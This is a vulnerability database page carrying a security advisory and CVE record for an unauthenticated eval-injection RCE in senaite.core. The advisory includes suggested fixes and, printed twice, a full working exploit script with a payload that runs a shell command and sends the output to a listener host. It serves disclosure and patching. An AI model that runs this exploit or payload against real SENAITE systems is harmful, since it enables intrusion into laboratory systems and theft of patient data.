Vulnerability-Lookup

GHSA-JRW6-7X4Q-W25J

Vulnerability from github – Published: 2026-08-26 15:28 – Updated: 2026-08-26 15:28

Summary

senaite.core Vulnerable to Eval Injection and Missing Authorization

Details

Summary

An unauthenticated remote code execution vulnerability in the SENAITE JSON API allows any network-reachable attacker to execute arbitrary Python on the Zope worker process via a two-request anonymous chain. The /@@API/update route is reachable to anonymous callers and runs eval() on attacker-controlled input before any permission check fires.

This is a different code path from the eval() in the calculations module: no authenticated account of any kind is required.

Details

The vulnerability is the chain of two independent flaws. Either fix alone breaks the unauthenticated chain, but the eval sink remains exploitable by any authenticated user with write access to a RecordsField, so both fixes are needed.

1. Missing AccessJSONAPI gate on JSON API write routes (CWE-862). The route at src/bika/lims/jsonapi/update.py:45-165 does not enforce the senaite.core: Access JSON API permission upfront. Compare with the sibling create.py:179-182, which does:

if not getSecurityManager().checkPermission(AccessJSONAPI, parent):
    raise Unauthorized(...)

The check is present on create and absent on update, update_many, remove, doActionFor, doActionFor_many, and getusers. The underlying @@API view is registered by plone.jsonapi.core at browser/configure.zcml:8-13 with permission="zope2.View", which is granted to Anonymous on the Plone Site root.

When an obj_uid is supplied, the route resolves the target through uid_catalog and brain.getObject(). The catalog brain walks the parent path with unrestrictedTraverse and applies restrictedTraverse only on the final segment, so the per-object View permission is enforced on the target. The chain is reachable to anonymous because bika_setup is anonymous-readable on a stock Plone Site (the View permission is acquired from the Plone Site root, which grants View to Anonymous by default).

2. eval() on RecordsField / RecordField values inside set_fields_from_request (CWE-95). Once an object has been resolved, set_fields_from_request in jsonapi/__init__.py:199-252 iterates the request fields. For any field of type RecordsField or RecordField, the helper runs eval(value) on the raw request string at line 240, before the field mutator and its write_permission check execute:

elif fieldtype in ['senaite.core.browser.fields.records.RecordsField',
                   'senaite.core.browser.fields.record.RecordField']:
    try:
        value = eval(value)
    except Exception:
        logger.warning(
            "JSONAPI: " + fieldname + ": Invalid "
            "JSON/Python variable")
        return []

The eval runs in the Zope worker process with full Python builtins available, so a payload such as __import__('os').popen('id').read() executes arbitrary system commands. The transaction savepoint inside update.py rolls back ZODB writes when the mutator subsequently fails, but Python side effects (subprocess, urllib calls, file I/O outside ZODB) have already happened and are not reverted.

The same eval() pattern is also present in the field setters at record.py:253-262 and records.py:135-143.

Anonymous UID discovery. The bika_setup object exposes two RecordsField-typed fields: RejectionReasons and IDFormatting. Its UID is published anonymously by Plone's standard @@uuid view:

GET /senaite/bika_setup/@@uuid HTTP/1.1
HTTP/1.1 200 OK
Content-Type: text/plain

8dbc161fa9f74aa4ad6e76eb1934518a

Origin. Both flaws predate the SENAITE fork. The eval() sink was introduced in d7bf2d4507 (2013-09-04) and the unchecked update route in be3d8cc916 (2013). Both remain present on the current 2.x development tip.

Suggested fixes

Fix 1: add AccessJSONAPI check to every state-changing route in src/bika/lims/jsonapi/, mirroring the existing check in create.py. An audit of every IRouteProvider in configure.zcml is in scope.

# src/bika/lims/jsonapi/update.py
from AccessControl import getSecurityManager
from zExceptions import Unauthorized
from senaite.core.permissions import AccessJSONAPI

def update(self, context, request):
    if not getSecurityManager().checkPermission(AccessJSONAPI, context):
        raise Unauthorized("You don't have permission to update via JSONAPI")
    savepoint = transaction.savepoint()
    ...

Fix 2: replace eval() with json.loads(). The data shape stored in RecordField and RecordsField is a JSON-compatible dict / list of dicts. Parsing as JSON is sufficient and removes the code-execution primitive entirely:

# src/bika/lims/jsonapi/__init__.py
import json

elif fieldtype in ['senaite.core.browser.fields.records.RecordsField',
                   'senaite.core.browser.fields.record.RecordField']:
    try:
        value = json.loads(value)
    except (ValueError, TypeError):
        logger.warning("JSONAPI: %s: invalid JSON value", fieldname)
        return []

Apply the same change at record.py:253-262 and records.py:135-143.

Defense in depth: re-enable Plone's CSRF protection. The audited release ships with class ISenaiteCore(IDisableCSRFProtection) at src/senaite/core/interfaces/__init__.py:30, which disables plone.protect's automatic CSRF write-detection on every request handled by the SENAITE browser layer. Removing the inheritance does not affect this unauthenticated chain but closes several authenticated CSRF chains.

PoC

Tested against the unmodified upstream Docker image senaite/senaite:v2.6.0. No source-code modification, no buildout overrides, no reverse proxy. PASSWORD is set to a non-default value to demonstrate that the chain works without the admin:admin Docker fallback.

docker-compose.yml

services:
  senaite:
    image: senaite/senaite:v2.6.0
    ports:
      - "8080:8080"
    environment:
      PASSWORD: senaitestrong  # non-default; chain is credential-free
      SITE: senaite
    networks:
      - poc

  listener:
    image: python:3.11-alpine
    command:
      - python
      - -c
      - |
        import http.server, socketserver
        log = []
        class H(http.server.BaseHTTPRequestHandler):
            def do_GET(self):
                if self.path.startswith('/log'):
                    self.send_response(200); self.send_header('Content-Type', 'text/plain'); self.end_headers()
                    self.wfile.write(('\n'.join(log)).encode())
                else:
                    log.append(self.path)
                    self.send_response(200); self.end_headers(); self.wfile.write(b'ok')
            def log_message(self, *a, **k): pass
        socketserver.TCPServer.allow_reuse_address = True
        with socketserver.TCPServer(('', 8000), H) as s: s.serve_forever()
    ports:
      - "8000:8000"
    networks:
      - poc

networks:
  poc:

poc.py

#!/usr/bin/env python3
"""PoC: Unauthenticated RCE on SENAITE.CORE v2.6.0"""
import sys, time, urllib.error, urllib.parse, urllib.request

TARGET = "http://localhost:8080"
SITE = "senaite"
LISTENER_HOST = "http://localhost:8000"
LISTENER_INSIDE = "http://listener:8000"

PAYLOAD = (
    "__import__('urllib2').urlopen("
    f"'{LISTENER_INSIDE}/?id=' + "
    "__import__('os').popen('id').read().replace(' ', '_').replace('\\n', '_')"
    ")"
)

def http_get(url, timeout=5):
    req = urllib.request.Request(url, headers={"Accept": "*/*"})
    return urllib.request.urlopen(req, timeout=timeout).read().decode("utf-8", "ignore")

def http_post(url, fields, timeout=10):
    body = urllib.parse.urlencode(fields).encode()
    req = urllib.request.Request(url, data=body, method="POST")
    return urllib.request.urlopen(req, timeout=timeout).read().decode("utf-8", "ignore")

def wait_for_target():
    deadline = time.time() + 600
    while time.time() < deadline:
        try:
            with urllib.request.urlopen(f"{TARGET}/{SITE}/login_form", timeout=3) as r:
                if r.status == 200: return
        except Exception: pass
        time.sleep(3)
    sys.exit(1)

def discover_bika_setup_uid():
    body = http_get(f"{TARGET}/{SITE}/bika_setup/@@uuid", timeout=5).strip()
    if len(body) == 32 and all(c in "0123456789abcdef" for c in body):
        return body
    sys.exit(1)

def fire_payload(uid):
    try:
        http_post(f"{TARGET}/{SITE}/@@API/update",
                  {"obj_uid": uid, "RejectionReasons": PAYLOAD})
    except urllib.error.HTTPError:
        pass

def read_listener():
    time.sleep(1)
    try:
        log = http_get(f"{LISTENER_HOST}/log", timeout=3)
    except Exception:
        return False
    return "id=" in log

if __name__ == "__main__":
    wait_for_target()
    uid = discover_bika_setup_uid()
    fire_payload(uid)
    sys.exit(0 if read_listener() else 1)

Run

docker compose up -d
# wait ~1-3 minutes for the senaite-docker first-boot Plone Site provisioning
python3 poc.py

Expected output

[+] VULNERABLE: unauthenticated RCE on SENAITE.CORE v2.6.0
    captured: /?id=uid=500(senaite)_gid=500(senaite)_groups=500(senaite)_

The captured query string is the stdout of id from the SENAITE Zope worker, fetched by the worker's urllib2.urlopen call against the in-network listener, proving arbitrary Python execution from a request carrying no credentials.

Impact

Vulnerability type: Unauthenticated remote code execution. Chain of CWE-862 (Missing Authorization) and CWE-95 (Improper Neutralization of Directives in Dynamically Evaluated Code / Eval Injection).

Who is impacted: Every SENAITE deployment whose Plone Site root grants View to Anonymous (the upstream default) and whose /@@API/... endpoints are reachable from any attacker-controlled network. The upstream Docker compose ships 8080:8080 plain HTTP and /manage (ZMI) exposed.

Attacker capability after exploit: - Arbitrary Python execution in the Zope worker process. - Full read/write access to the ZODB (Data.fs and blobstorage), so any patient/lab data the LIMS holds. - Filesystem access on the container's /data volume. - Outbound network egress from the worker. - Direct access to acl_users (the Plone PAS user folder) for creating administrator accounts in ZODB. Combined with the exposed /manage ZMI, this gives durable post-exploitation access.

Affected versions: All SENAITE.CORE 2.x releases (2.0.0 through 2.6.0).

Credits

Discovered and reported by Machine Spirits UG, Cologne, Germany. Independent security research focused on medical device and healthcare application security.

Dr. Simon Weber
Dipl.-Inf. Volker Schönefeld
Chiara Fliegner

Website: https://machinespirits.com

Severity

9.8 (Critical)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Show details on source website

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{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "senaite.core"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.0.0"
            },
            {
              "last_affected": "2.6.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-54569"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-862",
      "CWE-95"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-08-26T15:28:47Z",
    "nvd_published_at": null,
    "severity": "CRITICAL"
  },
  "details": "### Summary\n\nAn unauthenticated remote code execution vulnerability in the SENAITE JSON API allows any network-reachable attacker to execute arbitrary Python on the Zope worker process via a two-request anonymous chain. The `/@@API/update` route is reachable to anonymous callers and runs `eval()` on attacker-controlled input before any permission check fires.\n\nThis is a different code path from the `eval()` in the calculations module: no authenticated account of any kind is required.\n\n### Details\n\nThe vulnerability is the chain of two independent flaws. Either fix alone breaks the unauthenticated chain, but the `eval` sink remains exploitable by any authenticated user with write access to a `RecordsField`, so both fixes are needed.\n\n**1. Missing `AccessJSONAPI` gate on JSON API write routes (CWE-862).** The route at [`src/bika/lims/jsonapi/update.py:45-165`](https://github.com/senaite/senaite.core/blob/v2.6.0/src/bika/lims/jsonapi/update.py#L45-L165) does not enforce the `senaite.core: Access JSON API` permission upfront. Compare with the sibling [`create.py:179-182`](https://github.com/senaite/senaite.core/blob/v2.6.0/src/bika/lims/jsonapi/create.py#L179-L182), which does:\n\n```python\nif not getSecurityManager().checkPermission(AccessJSONAPI, parent):\n    raise Unauthorized(...)\n```\n\nThe check is present on `create` and absent on `update`, `update_many`, `remove`, `doActionFor`, `doActionFor_many`, and `getusers`. The underlying `@@API` view is registered by `plone.jsonapi.core` at [`browser/configure.zcml:8-13`](https://github.com/collective/plone.jsonapi.core/blob/0.6/src/plone/jsonapi/core/browser/configure.zcml#L8-L13) with `permission=\"zope2.View\"`, which is granted to Anonymous on the Plone Site root.\n\nWhen an `obj_uid` is supplied, the route resolves the target through `uid_catalog` and `brain.getObject()`. The catalog brain walks the parent path with `unrestrictedTraverse` and applies `restrictedTraverse` only on the final segment, so the per-object View permission is enforced on the target. The chain is reachable to anonymous because `bika_setup` is anonymous-readable on a stock Plone Site (the `View` permission is acquired from the Plone Site root, which grants `View` to `Anonymous` by default).\n\n**2. `eval()` on `RecordsField` / `RecordField` values inside `set_fields_from_request` (CWE-95).** Once an object has been resolved, [`set_fields_from_request` in `jsonapi/__init__.py:199-252`](https://github.com/senaite/senaite.core/blob/v2.6.0/src/bika/lims/jsonapi/__init__.py#L199-L252) iterates the request fields. For any field of type `RecordsField` or `RecordField`, the helper runs `eval(value)` on the raw request string at [line 240](https://github.com/senaite/senaite.core/blob/v2.6.0/src/bika/lims/jsonapi/__init__.py#L240), **before** the field mutator and its `write_permission` check execute:\n\n```python\nelif fieldtype in [\u0027senaite.core.browser.fields.records.RecordsField\u0027,\n                   \u0027senaite.core.browser.fields.record.RecordField\u0027]:\n    try:\n        value = eval(value)\n    except Exception:\n        logger.warning(\n            \"JSONAPI: \" + fieldname + \": Invalid \"\n            \"JSON/Python variable\")\n        return []\n```\n\nThe `eval` runs in the Zope worker process with full Python builtins available, so a payload such as `__import__(\u0027os\u0027).popen(\u0027id\u0027).read()` executes arbitrary system commands. The transaction savepoint inside `update.py` rolls back ZODB writes when the mutator subsequently fails, but Python side effects (subprocess, urllib calls, file I/O outside ZODB) have already happened and are not reverted.\n\nThe same `eval()` pattern is also present in the field setters at [`record.py:253-262`](https://github.com/senaite/senaite.core/blob/v2.6.0/src/senaite/core/browser/fields/record.py#L253-L262) and [`records.py:135-143`](https://github.com/senaite/senaite.core/blob/v2.6.0/src/senaite/core/browser/fields/records.py#L135-L143).\n\n**Anonymous UID discovery.** The `bika_setup` object exposes two `RecordsField`-typed fields: `RejectionReasons` and `IDFormatting`. Its UID is published anonymously by Plone\u0027s standard [`@@uuid`](https://github.com/plone/plone.app.uuid) view:\n\n```\nGET /senaite/bika_setup/@@uuid HTTP/1.1\nHTTP/1.1 200 OK\nContent-Type: text/plain\n\n8dbc161fa9f74aa4ad6e76eb1934518a\n```\n\n**Origin.** Both flaws predate the SENAITE fork. The `eval()` sink was introduced in [`d7bf2d4507`](https://github.com/senaite/senaite.core/commit/d7bf2d4507) (2013-09-04) and the unchecked `update` route in [`be3d8cc916`](https://github.com/senaite/senaite.core/commit/be3d8cc916) (2013). Both remain present on the current 2.x development tip.\n\n### Suggested fixes\n\n**Fix 1: add `AccessJSONAPI` check to every state-changing route** in `src/bika/lims/jsonapi/`, mirroring the existing check in `create.py`. An audit of every `IRouteProvider` in [`configure.zcml`](https://github.com/senaite/senaite.core/blob/v2.6.0/src/bika/lims/jsonapi/configure.zcml) is in scope.\n\n```python\n# src/bika/lims/jsonapi/update.py\nfrom AccessControl import getSecurityManager\nfrom zExceptions import Unauthorized\nfrom senaite.core.permissions import AccessJSONAPI\n\ndef update(self, context, request):\n    if not getSecurityManager().checkPermission(AccessJSONAPI, context):\n        raise Unauthorized(\"You don\u0027t have permission to update via JSONAPI\")\n    savepoint = transaction.savepoint()\n    ...\n```\n\n**Fix 2: replace `eval()` with `json.loads()`.** The data shape stored in `RecordField` and `RecordsField` is a JSON-compatible dict / list of dicts. Parsing as JSON is sufficient and removes the code-execution primitive entirely:\n\n```python\n# src/bika/lims/jsonapi/__init__.py\nimport json\n\nelif fieldtype in [\u0027senaite.core.browser.fields.records.RecordsField\u0027,\n                   \u0027senaite.core.browser.fields.record.RecordField\u0027]:\n    try:\n        value = json.loads(value)\n    except (ValueError, TypeError):\n        logger.warning(\"JSONAPI: %s: invalid JSON value\", fieldname)\n        return []\n```\n\nApply the same change at [`record.py:253-262`](https://github.com/senaite/senaite.core/blob/v2.6.0/src/senaite/core/browser/fields/record.py#L253-L262) and [`records.py:135-143`](https://github.com/senaite/senaite.core/blob/v2.6.0/src/senaite/core/browser/fields/records.py#L135-L143).\n\n**Defense in depth: re-enable Plone\u0027s CSRF protection.** The audited release ships with `class ISenaiteCore(IDisableCSRFProtection)` at [`src/senaite/core/interfaces/__init__.py:30`](https://github.com/senaite/senaite.core/blob/v2.6.0/src/senaite/core/interfaces/__init__.py#L30), which disables `plone.protect`\u0027s automatic CSRF write-detection on every request handled by the SENAITE browser layer. Removing the inheritance does not affect this unauthenticated chain but closes several authenticated CSRF chains.\n\n### PoC\n\nTested against the unmodified upstream Docker image `senaite/senaite:v2.6.0`. No source-code modification, no buildout overrides, no reverse proxy. `PASSWORD` is set to a non-default value to demonstrate that the chain works without the `admin:admin` Docker fallback.\n\n**`docker-compose.yml`**\n\n```yaml\nservices:\n  senaite:\n    image: senaite/senaite:v2.6.0\n    ports:\n      - \"8080:8080\"\n    environment:\n      PASSWORD: senaitestrong  # non-default; chain is credential-free\n      SITE: senaite\n    networks:\n      - poc\n\n  listener:\n    image: python:3.11-alpine\n    command:\n      - python\n      - -c\n      - |\n        import http.server, socketserver\n        log = []\n        class H(http.server.BaseHTTPRequestHandler):\n            def do_GET(self):\n                if self.path.startswith(\u0027/log\u0027):\n                    self.send_response(200); self.send_header(\u0027Content-Type\u0027, \u0027text/plain\u0027); self.end_headers()\n                    self.wfile.write((\u0027\\n\u0027.join(log)).encode())\n                else:\n                    log.append(self.path)\n                    self.send_response(200); self.end_headers(); self.wfile.write(b\u0027ok\u0027)\n            def log_message(self, *a, **k): pass\n        socketserver.TCPServer.allow_reuse_address = True\n        with socketserver.TCPServer((\u0027\u0027, 8000), H) as s: s.serve_forever()\n    ports:\n      - \"8000:8000\"\n    networks:\n      - poc\n\nnetworks:\n  poc:\n```\n\n**`poc.py`**\n\n```python\n#!/usr/bin/env python3\n\"\"\"PoC: Unauthenticated RCE on SENAITE.CORE v2.6.0\"\"\"\nimport sys, time, urllib.error, urllib.parse, urllib.request\n\nTARGET = \"http://localhost:8080\"\nSITE = \"senaite\"\nLISTENER_HOST = \"http://localhost:8000\"\nLISTENER_INSIDE = \"http://listener:8000\"\n\nPAYLOAD = (\n    \"__import__(\u0027urllib2\u0027).urlopen(\"\n    f\"\u0027{LISTENER_INSIDE}/?id=\u0027 + \"\n    \"__import__(\u0027os\u0027).popen(\u0027id\u0027).read().replace(\u0027 \u0027, \u0027_\u0027).replace(\u0027\\\\n\u0027, \u0027_\u0027)\"\n    \")\"\n)\n\ndef http_get(url, timeout=5):\n    req = urllib.request.Request(url, headers={\"Accept\": \"*/*\"})\n    return urllib.request.urlopen(req, timeout=timeout).read().decode(\"utf-8\", \"ignore\")\n\ndef http_post(url, fields, timeout=10):\n    body = urllib.parse.urlencode(fields).encode()\n    req = urllib.request.Request(url, data=body, method=\"POST\")\n    return urllib.request.urlopen(req, timeout=timeout).read().decode(\"utf-8\", \"ignore\")\n\ndef wait_for_target():\n    deadline = time.time() + 600\n    while time.time() \u003c deadline:\n        try:\n            with urllib.request.urlopen(f\"{TARGET}/{SITE}/login_form\", timeout=3) as r:\n                if r.status == 200: return\n        except Exception: pass\n        time.sleep(3)\n    sys.exit(1)\n\ndef discover_bika_setup_uid():\n    body = http_get(f\"{TARGET}/{SITE}/bika_setup/@@uuid\", timeout=5).strip()\n    if len(body) == 32 and all(c in \"0123456789abcdef\" for c in body):\n        return body\n    sys.exit(1)\n\ndef fire_payload(uid):\n    try:\n        http_post(f\"{TARGET}/{SITE}/@@API/update\",\n                  {\"obj_uid\": uid, \"RejectionReasons\": PAYLOAD})\n    except urllib.error.HTTPError:\n        pass\n\ndef read_listener():\n    time.sleep(1)\n    try:\n        log = http_get(f\"{LISTENER_HOST}/log\", timeout=3)\n    except Exception:\n        return False\n    return \"id=\" in log\n\nif __name__ == \"__main__\":\n    wait_for_target()\n    uid = discover_bika_setup_uid()\n    fire_payload(uid)\n    sys.exit(0 if read_listener() else 1)\n```\n\n**Run**\n\n```\ndocker compose up -d\n# wait ~1-3 minutes for the senaite-docker first-boot Plone Site provisioning\npython3 poc.py\n```\n\n**Expected output**\n\n```\n[+] VULNERABLE: unauthenticated RCE on SENAITE.CORE v2.6.0\n    captured: /?id=uid=500(senaite)_gid=500(senaite)_groups=500(senaite)_\n```\n\nThe captured query string is the stdout of `id` from the SENAITE Zope worker, fetched by the worker\u0027s `urllib2.urlopen` call against the in-network listener, proving arbitrary Python execution from a request carrying no credentials.\n\n### Impact\n\n**Vulnerability type:** Unauthenticated remote code execution. Chain of CWE-862 (Missing Authorization) and CWE-95 (Improper Neutralization of Directives in Dynamically Evaluated Code / Eval Injection).\n\n**Who is impacted:** Every SENAITE deployment whose Plone Site root grants `View` to Anonymous (the upstream default) and whose `/@@API/...` endpoints are reachable from any attacker-controlled network. The upstream Docker compose ships `8080:8080` plain HTTP and `/manage` (ZMI) exposed.\n\n**Attacker capability after exploit:**\n- Arbitrary Python execution in the Zope worker process.\n- Full read/write access to the ZODB (`Data.fs` and `blobstorage`), so any patient/lab data the LIMS holds.\n- Filesystem access on the container\u0027s `/data` volume.\n- Outbound network egress from the worker.\n- Direct access to `acl_users` (the Plone PAS user folder) for creating administrator accounts in ZODB. Combined with the exposed `/manage` ZMI, this gives durable post-exploitation access.\n\n**Affected versions:** All SENAITE.CORE 2.x releases (2.0.0 through 2.6.0).\n\n### Credits\n\nDiscovered and reported by Machine Spirits UG, Cologne, Germany. Independent security research focused on medical device and healthcare application security.\n\n- Dr. Simon Weber\n- Dipl.-Inf. Volker Sch\u00f6nefeld\n- Chiara Fliegner\n\nWebsite: https://machinespirits.com",
  "id": "GHSA-jrw6-7x4q-w25j",
  "modified": "2026-08-26T15:28:47Z",
  "published": "2026-08-26T15:28:47Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/senaite/senaite.core/security/advisories/GHSA-jrw6-7x4q-w25j"
    },
    {
      "type": "WEB",
      "url": "https://github.com/senaite/senaite.core/pull/2903"
    },
    {
      "type": "WEB",
      "url": "https://github.com/senaite/senaite.core/pull/2919"
    },
    {
      "type": "WEB",
      "url": "https://github.com/senaite/senaite.core/commit/a24d65e99a17ac43c5374ed9f0a60d0fe60d2f74"
    },
    {
      "type": "WEB",
      "url": "https://github.com/senaite/senaite.core/commit/ef4b6d73575b0fbc0edc6114e5e025089aaf9eb7"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/senaite/senaite.core"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "senaite.core Vulnerable to Eval Injection and Missing Authorization"
}

CVE-2026-54569 (GCVE-0-2026-54569)

Vulnerability from cvelistv5 – Published: 2026-08-26 15:28 – Updated: 2026-08-26 17:35

Title

SENAITE.CORE: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection') and Missing Authorization in senaite.core

Summary

SENAITE.CORE is the core framework for the SENAITE laboratory information management system. From 2.0.0 to 2.6.0, the SENAITE.CORE JSON API permits unauthenticated remote code execution through a two-request chain involving missing authorization and unsafe evaluation. The state-changing routes in src/bika/lims/jsonapi/update.py, including update, update_many, remove, doActionFor, doActionFor_many, and getusers, do not enforce the senaite.core: Access JSON API permission before resolving attacker-selected objects. In src/bika/lims/jsonapi/init.py, set_fields_from_request passes raw request values for RecordsField and RecordField instances to eval() before field mutator write-permission checks execute. An anonymous attacker can discover the bika_setup object identifier through @@uuid, send a value such as RejectionReasons to /@@API/update, and execute arbitrary Python in the Zope worker before a later mutation failure rolls back ZODB changes. The same unsafe evaluation pattern is present in src/senaite/core/browser/fields/record.py and src/senaite/core/browser/fields/records.py. Successful exploitation can expose or modify laboratory data, files, and accounts and can disrupt the service.

Severity

9.8 (Critical)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

SSVC

Exploitation: poc Automatable: yes Technical Impact: total

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2026-08-26 17:35 UTC

CWE

CWE-95 - Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')
CWE-862 - Missing Authorization

Assigner

GitHub_M mitre root

References

5 references

URL	Tags
https://github.com/senaite/senaite.core/security/…	x_refsource_CONFIRM
https://github.com/senaite/senaite.core/pull/2903	x_refsource_MISC
https://github.com/senaite/senaite.core/pull/2919	x_refsource_MISC
https://github.com/senaite/senaite.core/commit/a2…	x_refsource_MISC
https://github.com/senaite/senaite.core/commit/ef…	x_refsource_MISC

Impacted products

1 product

Vendor	Product	Version
senaite	senaite.core	Affected: >= 2.0.0, <= 2.6.0

Show details on NVD website

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Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.

Action not permitted

GHSA-JRW6-7X4Q-W25J

Summary

Details

Suggested fixes

PoC

Impact

Credits

CVE-2026-54569 (GCVE-0-2026-54569)

Tags

Sightings

Nomenclature